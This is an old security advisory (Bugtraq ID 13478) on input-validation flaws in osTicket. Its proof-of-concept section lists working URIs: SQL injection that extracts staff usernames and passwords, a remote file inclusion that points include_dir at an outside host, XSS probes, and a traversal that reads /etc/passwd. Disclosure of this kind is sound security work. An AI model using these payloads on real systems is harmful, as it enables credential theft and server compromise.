OSTicket Multiple Input Validation and Remote Code Injection Vulnerabilities

BID:13478

Info

OSTicket Multiple Input Validation and Remote Code Injection Vulnerabilities

Bugtraq ID: 13478
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: May 03 2005 12:00AM
Updated: May 03 2005 12:00AM
Credit: James Bercegay of the GulfTech Security Research Team is credited with the discovery of these vulnerabilities.
Vulnerable: osTicket osTicket STS 1.3 beta
osTicket osTicket STS 1.2.7
osTicket osTicket STS 1.2
+ cPanel cPanel 9.1 .0-R85
+ cPanel cPanel 9.1
+ cPanel cPanel 9.0
+ cPanel cPanel 8.0
+ cPanel cPanel 7.0
Not Vulnerable:

Discussion

OSTicket Multiple Input Validation and Remote Code Injection Vulnerabilities

osTicket is affected by multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Reportedly the application permits the inclusion of remote code that could be run under the permissions of the affected Web server.

The application is vulnerable to multiple cross-site scripting vulnerabilities. Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials; other attacks are also possible.

If the file upload feature is enabled then a directory traversal vulnerability is possible. This vulnerability could be exploited to retrieve sensitive or privileged information normally accessible to the Web server.

The application is prone to HTML injection vulnerabilities. Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

The application is also prone to multiple SQL injection vulnerabilities. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Exploit / POC

OSTicket Multiple Input Validation and Remote Code Injection Vulnerabilities

No exploits are required.

The following proof of concept URI's demonstrating the vulnerabilities are available:
http://www.example.com/[email protected]&t=480826[XSS]
http://www.example.com/include/header.php?osticket_title=%3C/title%3E[XSS]
http://www.example.com/include/admin_login.php?em=asdf[XSS]
http://www.example.com/include/user_login.php?e=asdf[XSS]
http://www.example.com/include/open_submit.php?err=[XSS]

http://www.example.com/admin.php?a=view&id=-99%20UNION%20SELECT%20username,password,0,0,0,0,0,0,0,0,0%20FROM%20ticket_reps%20WHERE%201/*
http://www.example.com/admin.php?a=view&id=-99%20UNION%20SELECT%20username,password,'[email protected]',0,0,0,0,0,0,0,0%20FROM%20ticket_reps%20WHERE%201/*
http://www.example.com/view.php?s=advanced&query=&cat=-99%20UNION%20SELECT%2031337,0,0,0,password%20FROM%20ticket_reps%20WHERE%20ID=5/*&status=&sort=ID&way=ASC&per=5&search_submit=Search

http://www.example.com/include/main.php?config[search_disp]=true&include_dir=http://www.example.com

http://www.example.com/attachments.php?file=../../../../../../.. /etc/passwd

Solution / Fix

OSTicket Multiple Input Validation and Remote Code Injection Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

OSTicket Multiple Input Validation and Remote Code Injection Vulnerabilities

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